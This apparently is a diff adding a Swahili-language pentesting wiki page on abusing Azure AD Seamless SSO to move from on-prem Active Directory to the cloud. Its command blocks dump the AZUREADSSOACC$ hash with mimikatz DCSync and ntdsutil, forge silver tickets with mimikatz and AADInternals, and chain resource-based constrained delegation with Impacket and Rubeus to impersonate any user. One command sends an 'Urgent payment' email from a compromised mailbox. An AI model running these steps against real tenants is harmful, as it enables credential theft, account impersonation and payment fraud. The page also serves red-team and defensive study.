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+# Az - Seamless SSO
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Information
+
+[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) kiotomatiki **inasaini watumiaji wanapokuwa kwenye vifaa vyao vya kampuni** vilivyounganishwa na mtandao wa kampuni yako. Wakati imewezeshwa, **watumiaji hawahitaji kuandika nywila zao ili kuingia kwenye Azure AD**, na kwa kawaida, hata kuandika majina yao ya mtumiaji. Kipengele hiki kinawapa watumiaji wako ufikiaji rahisi wa programu zako za msingi wa wingu bila kuhitaji vipengele vyovyote vya ziada vya ndani.
+
+<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
+
+Kimsingi Azure AD Seamless SSO **inasaini watumiaji** wanapokuwa **kwenye PC iliyounganishwa na kikoa cha ndani**.
+
+Inasaidiwa na [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) na [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
+
+Desktop SSO inatumia **Kerberos** kwa ajili ya uthibitishaji. Wakati imewekwa, Azure AD Connect inaunda **akaunti ya kompyuta inayoitwa `AZUREADSSOACC$`** katika AD ya ndani. Nywila ya akaunti ya `AZUREADSSOACC$` **inatumwa kama maandiko wazi kwa Entra ID** wakati wa usanidi.
+
+**Tiketi za Kerberos** **zimefungwa** kwa kutumia **NTHash (MD4)** ya nywila na Entra ID inatumia nywila iliyotumwa kufungua tiketi hizo.
+
+**Entra ID** inatoa **kiungo** (https://autologon.microsoftazuread-sso.com) ambacho kinakubali **tiketi** za Kerberos. Kivinjari cha mashine iliyounganishwa na kikoa kinapeleka tiketi hizi kwa kiungo hiki kwa ajili ya SSO.
+
+### Enumeration
+```bash
+# Check if the SSO is enabled in the tenant
+Import-Module AADInternals
+Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
+
+# Check if the AZUREADSSOACC$ account exists in the domain
+Install-WindowsFeature RSAT-AD-PowerShell
+Import-Module ActiveDirectory
+Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
+
+# Check it using raw LDAP queries without needing an external module
+$searcher = New-Object System.DirectoryServices.DirectorySearcher
+$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
+$searcher.FindOne()
+```
+## Pivoting: On-prem -> cloud
+
+> [!WARNING]
+> Jambo kuu la kujua kuhusu shambulio hili ni kwamba kuwa na TGT au TGS maalum ya mtumiaji ambaye ameunganishwa na Entra ID inatosha kufikia rasilimali za wingu.\
+> Hii ni kwa sababu ni tiketi inayomruhusu mtumiaji kuingia kwenye wingu.
+
+Ili kupata tiketi hiyo ya TGS, mshambuliaji anahitaji kuwa na moja ya yafuatayo:
+- **TGS ya mtumiaji aliyeathiriwa:** Ikiwa unaharibu kikao cha mtumiaji na tiketi ya `HTTP/autologon.microsoftazuread-sso.com` kwenye kumbukumbu, unaweza kuitumia kufikia rasilimali za wingu.
+- **TGT ya mtumiaji aliyeathiriwa:** Hata kama huna moja lakini mtumiaji ameathiriwa, unaweza kupata moja kwa kutumia hila ya uwakilishi wa TGT bandia iliyotekelezwa katika zana nyingi kama [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) na [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
+- **Hash au nywila ya mtumiaji aliyeathiriwa:** SeamlessPass itawasiliana na kidhibiti cha eneo na habari hii ili kuunda TGT na kisha TGS.
+- **Tiketi ya dhahabu:** Ikiwa una ufunguo wa KRBTGT, unaweza kuunda TGT unayohitaji kwa mtumiaji aliyeathiriwa.
+- **Hash au nywila ya akaunti ya AZUREADSSOACC$:** Kwa habari hii na Kitambulisho cha Usalama (SID) cha mtumiaji, ni rahisi kuunda tiketi ya huduma na kuthibitisha na wingu (kama ilivyofanywa katika njia ya awali).
+
+### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
+
+Kama [ilivyoelezwa katika chapisho hili la blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), kuwa na mojawapo ya mahitaji ya awali ni rahisi sana kutumia zana **SeamlessPass** kufikia rasilimali za wingu kama mtumiaji aliyeathiriwa, au kama mtumiaji yeyote ikiwa una **`AZUREADSSOACC$`** hash au nywila ya akaunti.
+
+Hatimaye, kwa TGT inawezekana kutumia zana [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) na:
+```bash
+# Using the TGT to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
+# Using the TGS to access the cloud
+seamlesspass -tenant corp.com -tgs user_tgs.ccache
+# Using the victims account hash or password to access the cloud
+seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
+seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
+# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
+seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
+seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
+wmic useraccount get name,sid # Get the user SIDs
+```
+Zaidi ya taarifa za kuweka Firefox kufanya kazi na seamless SSO zinaweza [**kupatikana katika chapisho hili la blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
+
+### Kupata hash za akaunti ya AZUREADSSOACC$
+
+**Nenosiri** la mtumiaji **`AZUREADSSOACC$` halibadiliki kamwe**. Hivyo, msimamizi wa eneo anaweza kuathiri **hash ya akaunti hii**, na kisha kuitumia **kuunda tiketi za fedha** kuungana na Azure na **mtumiaji yeyote wa on-prem aliyeunganishwa**:
+```bash
+# Dump hash using mimikatz
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
+mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
+
+# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
+Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
+
+# Dump using ntdsutil and DSInternals
+## Dump NTDS.dit
+ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
+## Extract password
+Install-Module DSInternals
+Import-Module DSInternals
+$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
+(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
+```
+> [!NOTE]
+> Kwa taarifa za sasa unaweza tu kutumia chombo **SeamlessPass** kama ilivyoelezwa hapo awali kupata tokens za azure na entraid kwa mtumiaji yeyote katika eneo.
+> Unaweza pia kutumia mbinu za awali (na nyingine) kupata hash ya nywila ya mwathirika unayetamani kuiga badala ya akaunti ya `AZUREADSSOACC$`.
+
+#### Kuunda Tiketi za Fedha
+
+Kwa hash unaweza sasa **kuunda tiketi za fedha**:
+```bash
+# Get users and SIDs
+Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
+
+# Create a silver ticket to connect to Azure with mimikatz
+Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
+mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
+
+# Create silver ticket with AADInternal to access Exchange Online
+$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
+$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
+## Send email
+Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
+```
+### Kutumia Tiketi za Silver na Firefox
+
+Ili kutumia tiketi ya fedha, hatua zifuatazo zinapaswa kufanywa:
+
+1. **Anzisha Kivinjari:** Mozilla Firefox inapaswa kuzinduliwa.
+2. **Sanidi Kivinjari:**
+- Tembelea **`about:config`**.
+- Weka upendeleo wa [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) kwa [thamani](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) iliyoainishwa:
+- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
+- Tembelea `Settings` za Firefox > Tafuta `Allow Windows single sign-on for Microsoft, work and school accounts` na uweke kwenye hali ya kazi.
+3. **Fikia Programu ya Mtandao:**
+- Tembelea programu ya mtandao ambayo imeunganishwa na kikoa cha AAD cha shirika. Mfano wa kawaida ni [login.microsoftonline.com](https://login.microsoftonline.com/).
+4. **Mchakato wa Uthibitishaji:**
+- Katika skrini ya kuingia, jina la mtumiaji linapaswa kuingizwa, huku uwanja wa nywila ukiwa tupu.
+- Ili kuendelea, bonyeza TAB au ENTER.
+
+> [!WARNING]
+> Hii **haiwezi kupita MFA ikiwa imewezeshwa** kwa mtumiaji.
+
+
+### On-prem -> Cloud kupitia Uwakilishi wa Rasilimali ulio na Mipaka <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Ili kufanya shambulio inahitajika:
+
+- `WriteDACL` / `GenericWrite` juu ya `AZUREADSSOACC$`
+- Akaunti ya kompyuta unayodhibiti (hash & nywila) - Unaweza kuunda moja
+
+
+1. Hatua 1 – Ongeza akaunti yako ya kompyuta
+- Inaunda `ATTACKBOX$` na kuchapisha SID/NTLM hash yake. Mtumiaji yeyote wa kikoa anaweza kufanya hivi wakati MachineAccountQuota > 0
+```bash
+# Impacket
+python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
+-computer ATTACKBOX$ -password S3cureP@ss
+```
+2. Hatua 2 – Patia RBCD kwenye `AZUREADSSOACC$` - Andika SID ya mashine yako kwenye `msDS-AllowedToActOnBehalfOfOtherIdentity`.
+```bash
+python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
+ATTACKBOX$ AZUREADSSOACC$
+
+# Or, from Windows:
+$SID = (Get-ADComputer ATTACKBOX$).SID
+Set-ADComputer AZUREADSSOACC$ `
+-PrincipalsAllowedToDelegateToAccount $SID
+```
+3. Hatua 3 – Fanya TGS kwa mtumiaji yeyote (mfano: alice)
+```bash
+# Using your machine's password or NTLM hash
+python3 getST.py -dc-ip 192.168.1.10 \
+-spn HTTP/autologon.microsoftazuread-sso.com \
+-impersonate alice \
+DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
+
+# Produces alice.autologon.ccache
+
+#Or, from Windows:
+Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
+/impersonateuser:alice `
+/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
+```
+You can now use the **TGS to access Azure resources as the impersonated user.**
+
+
+### ~~Kuunda tiketi za Kerberos kwa watumiaji wa wingu pekee~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
+
+Ikiwa wasimamizi wa Active Directory wana uf access kwa Azure AD Connect, wanaweza **kweka SID kwa mtumiaji yeyote wa wingu**. Kwa njia hii tiketi za Kerberos **zinaweza kuundwa pia kwa watumiaji wa wingu pekee**. Sharti pekee ni kwamba SID iwe [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) sahihi.
+
+> [!CAUTION]
+> Kubadilisha SID ya watumiaji wa admin wa wingu pekee sasa **imezuiwa na Microsoft**.\
+> Kwa maelezo zaidi angalia [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+
+
+
+## References
+
+- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
+- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
+- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
+- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
+
+{{#include ../../../banners/hacktricks-training.md}}